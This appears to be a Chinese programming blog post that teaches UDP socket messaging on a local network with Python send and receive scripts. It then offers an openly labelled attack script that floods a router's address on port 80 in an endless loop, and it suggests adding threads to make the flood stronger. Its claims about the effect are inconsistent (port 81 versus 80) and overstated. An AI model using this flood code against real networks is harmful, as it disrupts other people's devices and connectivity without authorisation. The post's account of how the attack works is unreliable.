Python使用socket进行局域网内UDP协议的通信与网络攻击

关键字:

SOCKET:套接字
PORT:网络端口
IP:网际互连协议
UDP:用户数据报协议(无连接)
21端口80端口知名接口,上网必用
了解更多去百度

首先,如何实现局域网内计算机通信?

import socket


def main():
    # 创建一个udp套接字
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 从键盘获取数据
    send_content = input("input data:")
    
    # 可以使用套接字收发数据
    # b"hahaha"是直接将其转换为byte类型数据,IP地址与端口放在一个元组内
    # udp_socket.sendto(b"hahaha", ("192.168.2.145", 8080))
	
	# 使用encode将其转换为utf-8格式
    udp_socket.sendto(send_content.encode("utf-8"), ("192.168.2.145", 8080))
    
    # 关闭套接字
    udp_socket.close()


if __name__ == "__main__":
    main()

使用网络调试助手可以并且设置好端口号,便可以接收消息!

接下来如何使用python接收呢?

import socket


def main():
    # 1.创建套接字
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # 2.绑定一个本地信息
    # ""或''代表本机IP,里面没有空格
    localaddr = ("", 5773)
    udp_socket.bind(localaddr)
    # 循环接收
    while True:
        # 3.接收数据
        recv_data = udp_socket.recvfrom(1024)
        # 此时recv_data里是一个元组数据,0索引处是消息,可以自己打印出来看
        if recv_data[0].decode("gbk") == 'exit':  # 加一个解码操作
            break
        # 4.打印收到的数据
        print(recv_data[0].decode("gbk"))
    # 5.关闭套接字
    udp_socket.close()

 
if __name__ == "__main__":
    main()

程序运行时便可以进行接收,为了写博文方便,在此直接收发截图放置于此:
在这里插入图片描述
注意:这里的发送ip可以是本机的,但是绑定的端口不可以同时进行!

此时,向主机(计算机/路由器)IP不间断向81端口发送消息,就会使其内存堆满,可以引入线程效果更佳,在此就不详述了,大致攻击代码如下:

import socket

def main():
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    udp_data = "通常被称为本地回环地址(Loopback Address),不属于任何一个有类别地址类。它代表设备的本地虚拟接口,所以默认被看作是永远不会宕掉的接口。在Windows操作系统中也有相似的定义,所以通常在安装网卡前就可以ping通这个本地回环地址。一般都会用来检查本地网络协议、基本数据接口等是否正常的。"
    
    while True:
    	# 地址改为路由器主机IP再加80端口!
        udp_socket.sendto(udp_data.encode('utf-8'),("192.168.2.1",80))

    udp_socket.close()
if __name__ == '__main__':
    main()

至此实现完毕!
路由器网络瞬间会炸裂,如果换成计算机/手机IP,端口80,同理这个设备上网功能在攻击时就不能使用了!
半夜打字实在是胳膊酸,我写东西不喜欢写的太过详细,点到为止即可!

发布了44 篇原创文章 · 获赞 68 · 访问量 5115

猜你喜欢

转载自blog.csdn.net/qq_25404477/article/details/104129965